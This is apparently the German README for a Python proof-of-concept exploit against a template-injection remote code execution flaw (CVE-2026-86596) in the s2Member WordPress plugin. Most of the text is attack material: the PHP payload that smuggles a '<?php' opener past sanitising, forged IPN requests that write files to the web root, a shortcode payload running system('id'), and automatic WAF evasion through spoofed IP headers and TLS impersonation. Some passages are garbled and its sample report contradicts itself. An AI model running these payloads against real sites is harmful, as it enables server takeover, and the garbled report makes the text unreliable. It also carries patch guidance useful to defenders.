
CVE-2026-86596 s2Member <= 260927 Template-Injection-PoC (Laborumgebung; IPN-Verifizierung erforderlich)
Einzeldatei-Python-PoC für die Template-Injection-RCE in s2Member <= 260927.
Der verwundbare Code:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Payload:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() lässt ihn unangetastet, da kein literales <? vorhanden ist.
Die Ersetzung von %%item_name%% fügt ihn ein; die abschließende Bereinigung durch %%(.+?)%%
entfernt %%x%% und hinterlässt einen gültigen <?php-Opener.
python3 poc.py https://wordpress.lab
Das ist der gesamte Ablauf:
cve_test.php mit @thiscitze in das WordPress-Stammverzeichnis,https://wordpress.lab/cve_test.php ab und verifiziert den Marker.Wenn die ID des geschützten Beitrags/der geschützten Seite nicht 1 ist:
python3 poc.py https://wordpress.lab --item-number 123
Wenn .php blockiert ist, schreibe einen reinen Textmarker:
python3 poc.py https://wordpress.lab --filename cve_test.txt
Wenn die Website einen Proxy-Verifizierungsschlüssel verwendet:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Prägnanter Bericht:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
Der Bericht beantwortet drei separate Fragen:
RCE: NOT CONFIRMED bedeutet, dass das Skript keine Codeausführung nachweisen konnte, selbst wenn der HTTP-Status 200 war.
Farbe ist aktiviert, wenn stdout ein TTY ist; erzwingen Sie sie mit --color always oder deaktivieren Sie sie mit --color never.
Wenn das Ziel hinter einer WAF/Challenge steht, versucht das Skript automatisch Anfrageform-Varianten, bevor es aufgibt:
multipart/form-dataitem_name (harmlos + Payload)multipart/form-data mit doppeltem item_nameX-Forwarded-For / X-Real-IP / CF-Connecting-IP Spoof-Headercurl_cffi Browser-TLS-Impersonation (pip install curl_cffi)--http-proxy angegeben istOptionale Steuerungen:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion deaktiviert die automatischen Varianten. Eine JS-Challenge kann
dennoch eine echte Browser-Sitzung oder eine IPN mit PayPal-Ursprung erfordern; Header-Tricks sind
kein garantierter Bypass.
Schreibe eine Testdatei in das WordPress-Stammverzeichnis und überprüfe sie:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
Der Payload schreibt cve_test.php mit folgendem Inhalt:
<?php echo "@thiscitze"; ?>
Wenn .php blockiert ist oder nicht benötigt wird, schreibe stattdessen einen Klartext-Marker:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
Die Datei wird nach ABSPATH geschrieben (das WordPress-Dateisystem-Root). Wenn
WordPress in einem Unterverzeichnis installiert ist, passe --test-url entsprechend an.
python3 poc.py --simulate
Erwartet:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Shortcode-Variante:
python3 poc.py --simulate --shortcode --command "system('id');"
Dies erzeugt [s2If php="system('id');"], das ausgeführt wird, wenn das Template eine do_shortcode() / [s2If php]-Senke erreicht.
python3 poc.py --check https://wordpress.lab
Es liest readme.txt oder s2member.php und vergleicht die Version mit
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member verifiziert IPNs mit PayPal (POST back) oder einem Proxy-Verifizierungsschlüssel. Ein direkt gefälschter POST wird normalerweise abgelehnt. Für ein Labor:
item_name die Payload ist, oderpython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
Das Skript gibt die HTTP-Antwort aus und warnt, wenn das Ziel die Verifizierung abgelehnt hat.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Ruft eine Seite ab und sucht nach CVE-2026-86596, das die Payload zurückgibt.
Dies ist nützlich, wenn die Tracking-Code-/Shortcode-Senke nach dem IPN gerendert wird.
custom muss mit dem Hostnamen der Website beginnen (oder skip_ipn_domain_validation
muss aktiviert sein).item_number für den Pfad „Specific Post/Page“.do_shortcode() / [s2If php=...] gerendert werden, oder eine benutzerdefinierte Integration, die
das Benachrichtigungstemplate per eval ausführt. Der standardmäßige reine E-Mail-Text selbst wird
über wp_mail versendet, nicht per eval ausgeführt.Aktualisieren Sie auf s2Member 261001 oder höher (aktuell: 261017). Der Fix ersetzt
die sequenzielle Interpolation durch fill_paypal_template_once() und bereinigt
das Tracking-Ziel auf [A-Za-z0-9 @._-].
PR:N) „unauthenticated“ sagen. Behandeln Sie sie für die
Patch-Priorität als remote/unauthenticated, aber validieren Sie die IPN-/Proxy-Anforderungen in Ihrem Setup.